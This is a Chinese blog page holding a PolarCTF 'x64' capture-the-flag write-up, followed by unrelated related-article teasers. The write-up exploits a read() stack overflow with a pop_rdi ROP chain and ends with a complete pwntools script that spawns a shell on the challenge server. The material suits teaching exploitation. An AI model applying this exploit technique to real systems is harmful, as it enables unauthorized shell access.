当前位置： 首页 > article >正文

【PolarCTF】x64

article 2026/4/19 22:40:57
先检查下发现是64位的程序IDA分析程序这里很明显read函数存在溢出然后可以看到后面函数Shell同时也可以找到/bin/sh字符串这里我们可以通过IDA查找攻击思路如下填充垃圾数据 pop_rdi_ret将/bin/sh传递到rdi中 执行Shell函数 获得shellgdb调试程序将cyclic的字符输入到程序中然后我们可以通过x rbp或者info registers rbp可以看到堆底里面的内容通过计算可以看到距离rbp的距离为128十进制128转为十六进制可以看到就是0x80和IDA分析的结果是一样的因为还要覆盖返回地址因此填充0x80个字节0x8个字节除了上面的方法找Shell函数地址、/bin/sh字符地址还可以通过objdump查找shell函数地址通过ROPgadget 查找可以传递给rdi的pop_retpop_rdi_ret的地址为0x4007e3我们也可以使用ROPgadget来查找/bin/sh地址可以看到/bin/sh的地址为0x601060bin/sh的地址为0x601060pop_rdi_ret的地址为0x4007e3Shell函数的地址0x4006b6payload如下from pwn import * io remote(1.95.36.136,2065) system_addr 0x4006b6 sh_addr 0x601060 pop_rdi 0x4007e3 padding 0x800x8 payload bA*padding payload p64(pop_rdi) payload p64(sh_addr) payload p64(system_addr) io.sendline(payload) io.interactive()

相关文章：

【PolarCTF】x64

先检查下，发现是64位的程序IDA分析程序这里很明显read函数存在溢出然后可以看到后面函数Shell同时也可以找到/bin/sh字符串这里我们可以通过IDA查找攻击思路如下：填充垃圾数据pop_rdi_ret将/bin/sh传递到rdi中执行Shell函数获得shellgdb调试程序将cyclic…...

编程日记 2026/4/19 22:40:57

如何快速掌握MelonLoader：Unity游戏模组加载器的完整实战指南

如何快速掌握MelonLoader：Unity游戏模组加载器的完整实战指南 【免费下载链接】MelonLoader The Worlds First Universal Mod Loader for Unity Games compatible with both Il2Cpp and Mono 项目地址: https://gitcode.com/gh_mirrors/me/MelonLoader Melon…...

编程日记 2026/4/19 22:40:57

ComfyUI-AnimateDiff-Evolved深度解析：掌握动画生成的进阶实战指南

ComfyUI-AnimateDiff-Evolved深度解析：掌握动画生成的进阶实战指南 【免费下载链接】ComfyUI-AnimateDiff-Evolved Improved AnimateDiff for ComfyUI and Advanced Sampling Support 项目地址: https://gitcode.com/gh_mirrors/co/ComfyUI-AnimateDiff-Evolved …...

编程日记 2026/4/19 22:38:56

告别黑屏！手把手教你用UEFI VFR语法定制自己的BIOS Setup界面（附完整代码示例）

从零构建UEFI BIOS设置界面：VFR语法实战指南 在嵌入式开发和定制硬件领域，能够自主设计BIOS设置界面是一项极具价值的能力。想象一下，当你需要为一款工业控制主板或服务器定制专属的启动配置选项时，传统的黑屏BIOS界面往往无法满足…...

编程日记 2026/4/19 22:38:56

魔幻C++ 函数里有函数 函数里还有函数

//函数里有函数 函数里还有函数 int fds2(){return 100; }int add(){int min2(int a,int b){if(a<b)return 123;else return 456;}int max(int a,int b){int min(int a,int b){if(a<b)return a;else return b;}return min(a*10,b*10)min2(a*10,b*10);}return 2*max(fds2…...

编程日记 2026/4/19 22:38:56

台积电法说会：AI需求强劲异常，供不应求态势将延续至至少2027年

2026年Q1绩后&#xff0c;台积电召开法说会。台积电首席执行官魏哲家宣称“AI需求极为强劲”&#xff0c;并指出全球正置身于“AI大趋势”之中。财报显示&#xff0c;台积电今年第一季度营收&#xff08;以美元计&#xff09;环比增长6.4%&#xff0c;达359亿美元&#xff0c;略…...

编程日记 2026/4/19 22:38:56

AI Agent Skills 发现指南：前端工程化与自动化全景

AI Agent Skills 发现指南&#xff1a;前端工程化与自动化全景 &#x1f4c5; 2026 年 4 月 19 日 ⏱ 阅读约 15 分钟 &#x1f464; 前端架构师视角 &#x1f3f7; 标签&#xff1a;AI Agent 前端工程化 自动化测试 Skills 生态 提示词优化 &#x1f4cb; 目录 什么是 …...

编程日记 2026/4/19 22:38:56

**发散创新：用Python实现因果推理在推荐系统中的落地应用**在当今数据

发散创新&#xff1a;用Python实现因果推理在推荐系统中的落地应用 在当今数据驱动的时代&#xff0c;推荐系统早已不再只是“点击率”和“曝光量”的博弈工具。越来越多的工程师开始意识到&#xff0c;真正高质量的推荐&#xff0c;需要理解用户行为背后的因果机制&#xff0c…...

编程日记 2026/4/19 22:36:56

2026年降AI工具处理英文论文效果横评：Turnitin达标率对比

2026年降AI工具处理英文论文效果横评&#xff1a;Turnitin达标率对比 帮五个同学处理过论文&#xff0c;加上自己用的&#xff0c;总共测过六七款工具。 结论先说&#xff1a;综合价格、效果、售后&#xff0c;嘎嘎降AI&#xff08;www.aigcleaner.com&#xff09;是最稳的选…...

编程日记 2026/4/19 22:36:56

2026年降AI工具免费版和付费版区别：哪些场景下付费版才值得买

2026年降AI工具免费版和付费版区别&#xff1a;哪些场景下付费版才值得买 研究生群里聊起AI率的问题&#xff0c;发现十个人里起码六七个都在用工具降。主流的选择其实就那几款&#xff0c;关键是选对了能省很多麻烦。 综合价格和效果&#xff0c;我主推嘎嘎降AI&#xff08;…...

编程日记 2026/4/19 22:36:56

2026年降AI后重新检测还是偏高怎么处理：多轮降AI完整攻略

2026年降AI后重新检测还是偏高怎么处理&#xff1a;多轮降AI完整攻略 从AI率73%到6%&#xff0c;我花了不到一个晚上。降AI后还是高完整经历记录。 核心工具&#xff1a;嘎嘎降AI&#xff08;www.aigcleaner.com&#xff09;&#xff0c;4.8元&#xff0c;达标率99.26%。踩坑…...

编程日记 2026/4/19 22:36:56

告别Socket编程：用RDMA Verbs API手把手教你构建一个高性能网络应用（附完整代码）

从Socket到RDMA&#xff1a;高性能网络编程实战指南 在当今数据密集型应用盛行的时代&#xff0c;传统Socket网络编程的性能瓶颈日益凸显。当延迟敏感型应用&#xff08;如金融交易系统、分布式数据库&#xff09;遇到微秒级响应需求时&#xff0c;RDMA&#xff08;远程直接内存…...

编程日记 2026/4/19 22:34:55

Python剪映API终极指南：5分钟掌握视频自动化批量处理技巧

Python剪映API终极指南&#xff1a;5分钟掌握视频自动化批量处理技巧 【免费下载链接】JianYingApi Third Party JianYing Api. 第三方剪映Api 项目地址: https://gitcode.com/gh_mirrors/ji/JianYingApi 你想摆脱每天重复的视频剪辑工作吗&#xff1f;你想用Python代码…...

编程日记 2026/4/19 22:34:55

EPLAN结构标识符高级技巧：如何用表格批量编辑提升效率（附实战案例）

EPLAN结构标识符高级技巧&#xff1a;如何用表格批量编辑提升效率&#xff08;附实战案例&#xff09; 在电气设计领域&#xff0c;EPLAN作为行业标杆软件&#xff0c;其结构标识符系统是项目管理的神经中枢。对于处理复杂工业项目的中高级用户而言&#xff0c;掌握结构标识符的…...

编程日记 2026/4/19 22:34:55

在setting菜单里显示的有些字符 不正常，

比如时间 显示的不是正常字体&#xff0c;location 下面显示的字体也是不正常的。在setting菜单里显示的有些字符 不正常&#xff0c;比如时间 显示的不是正常字体&#xff0c;location 下面显示的字体也是不正常的。设置菜单&#xff08;Settings&#xff09;中出现字符显示异…...

编程日记 2026/4/19 22:34:55

(build/soong/scripts/manifest_check.py --enforce-uses-libraries --enforce-uses-libraries-status

这个错误是因为 Android 11 及更高版本引入了更严格的 <uses-library> 检查机制。系统在编译时发现 apk 的 AndroidManifest.xml 中声明了对 的依赖&#xff08;可选依赖&#xff09;&#xff0c;但在你的 Android.mk 配置中没有声明这个库&#xff0c;导致校验失败。你…...

编程日记 2026/4/19 22:34:53

uni-app本地打包APK实战：从HBuilder X到Android Studio的避坑指南

1. 环境准备&#xff1a;工具链全解析 第一次接触uni-app本地打包的开发者&#xff0c;往往会卡在环境配置这一步。我当初花了整整两天时间才搞明白各个工具的用途和安装顺序&#xff0c;这里把踩过的坑都总结给你。HBuilder X作为开发工具是起点&#xff0c;但真正打包需要And…...

编程日记 2026/4/19 22:32:52

Docker私库登录报x509证书错误？别慌，5分钟搞定daemon.json配置

Docker私库登录报x509证书错误的终极解决方案 当你正忙着部署最新版本的容器镜像&#xff0c;突然在docker login时看到那个令人头疼的x509: certificate signed by unknown authority错误&#xff0c;确实会让人瞬间血压升高。这种情况在企业内部私有镜像仓库&#xff08;如Ha…...

编程日记 2026/4/19 22:32:52

Ubuntu 16.04下解决‘software-properties-common’依赖地狱：从Python3缺失到Shell环境修复的完整排雷记录

Ubuntu 16.04依赖问题深度解析&#xff1a;从Python3缺失到系统环境修复 当你在Ubuntu 16.04上执行sudo apt-get install software-properties-common时&#xff0c;可能会遇到一系列令人头疼的依赖问题。这不仅仅是简单的软件包缺失&#xff0c;而往往反映了更深层次的系统环境…...

编程日记 2026/4/19 22:32:52

从热电阻测量到4-20mA输出：一个运放项目实战中的电源、滤波与保护电路设计全解析

从热电阻测量到4-20mA输出&#xff1a;工业级信号链设计的工程实践 在工业传感器接口开发中&#xff0c;将物理量转换为标准电流信号是最基础却最考验工程师功底的环节。想象一下炼油厂里数百个PT100温度传感器需要将-50℃~200℃的测量值转换为4-20mA信号&#xff0c;通过百米电…...

编程日记 2026/4/19 22:32:52

Houdini摄像机操作全攻略：从基础调节到Python脚本控制

Houdini摄像机操作全攻略&#xff1a;从基础调节到Python脚本控制 在影视特效和游戏开发领域&#xff0c;Houdini的摄像机系统是构建视觉叙事的关键工具。无论是制作震撼的爆炸场景&#xff0c;还是设计流畅的角色动画&#xff0c;精准的摄像机控制都能让作品更具专业质感。本文…...

编程日记 2026/4/19 22:32:52

从E·M·福斯特的《英国人性格的笔记》看技术文档写作：如何避免“未发育的心”与“自满的陷阱”

技术文档写作中的文化共情&#xff1a;如何跨越"情感表达鸿沟" 当一份API文档被翻译成八种语言却依然收到用户投诉时&#xff0c;当技术博客的评论区频繁出现"冷漠"、"难以理解"的评价时&#xff0c;我们或许需要思考一个更深层的问题&#xff1…...

编程日记 2026/4/19 22:30:51

别再只用MD5了！聊聊PBKDF2如何用‘盐’和‘慢炖’保护你的用户密码

从MD5到PBKDF2&#xff1a;现代密码存储的进化之路 记得2012年LinkedIn那次大规模数据泄露吗&#xff1f;600多万用户密码以明文MD5形式暴露在黑客面前。当时的安全团队负责人后来在采访中说&#xff1a;"如果我们早一年采用加盐的PBKDF2&#xff0c;这场灾难本可以避免。…...

编程日记 2026/4/19 22:30:51

LangGraph 并行执行优化：如何提升多智能体任务处理效率？

第一部分：引言与基础 (Introduction & Foundation) 1. 引人注目的标题 (Compelling Title) 主标题： LangGraph 并行执行优化：从单节点链式 → 百万级 Token 吞吐量的多智能体系统设计副标题： 解锁 ConditionalBranch、ParallelMap、AsyncAgent、StreamMode、Executor、…...

编程日记 2026/4/19 22:30:51

如何在5分钟内快速上手暗黑破坏神2存档编辑器：终极可视化编辑指南

如何在5分钟内快速上手暗黑破坏神2存档编辑器&#xff1a;终极可视化编辑指南 【免费下载链接】d2s-editor 项目地址: https://gitcode.com/gh_mirrors/d2/d2s-editor 还在为复杂的暗黑破坏神2存档编辑而头疼吗&#xff1f;d2s-editor是一款基于Web的开源工具&#xff…...

编程日记 2026/4/19 22:30:51

PCL2启动器深度解析：从源码架构到性能优化的实战指南

PCL2启动器深度解析&#xff1a;从源码架构到性能优化的实战指南 【免费下载链接】PCL Minecraft 启动器 Plain Craft Launcher&#xff08;PCL&#xff09;。 项目地址: https://gitcode.com/gh_mirrors/pc/PCL Plain Craft Launcher 2&#xff08;PCL2&#xff09;作为…...

编程日记 2026/4/19 22:30:51

告别乱糟糟的代码！手把手教你为微信小程序配置Prettier（支持WXML/WXSS自动格式化）

拯救混乱代码&#xff1a;微信小程序Prettier配置全攻略 每次打开团队协作的小程序项目&#xff0c;你是否会被五花八门的代码风格搞得头晕目眩&#xff1f;缩进不一致、引号混用、标签属性排列杂乱...这些看似小问题&#xff0c;长期积累却会显著降低开发效率和代码可维护性。…...

编程日记 2026/4/19 22:28:51

Orwell Dev-C++和Embarcadero Dev-C++哪个更稳定

关于Orwell Dev-C和Embarcadero Dev-C的稳定性比较&#xff0c;可以从以下几个维度分析&#xff1a;开发背景Orwell Dev-C&#xff08;5.x版本&#xff09;是原始Dev-C项目的延续维护版本&#xff0c;最后一次更新为2015年&#xff1b;Embarcadero Dev-C&#xff08;6.x版本&am…...

编程日记 2026/4/19 22:28:51

Android Studio Layout Inspector 保姆级使用指南：从进程选取到设计图对比，一个功能都不落

Android Studio Layout Inspector 全功能实战手册&#xff1a;从基础操作到高级调试技巧 在Android应用开发过程中&#xff0c;UI布局的调试和优化占据了开发者大量时间。Layout Inspector作为Android Studio内置的强大工具&#xff0c;远不止是一个简单的视图查看器&#xff…...

编程日记 2026/4/19 22:28:51

Orwell Dev-C++和Embarcadero Dev-C++哪个更轻量

在选择轻量级的开发环境时&#xff0c;Orwell Dev-C和Embarcadero Dev-C都是基于经典Dev-C的衍生版本&#xff0c;但二者的轻量化程度存在差异&#xff1a;1. 安装包体积Orwell Dev-C&#xff1a;安装包约50MB&#xff0c;保留了核心编译和基础调试功能。Embarcadero Dev-C&…...

编程日记 2026/4/19 22:28:51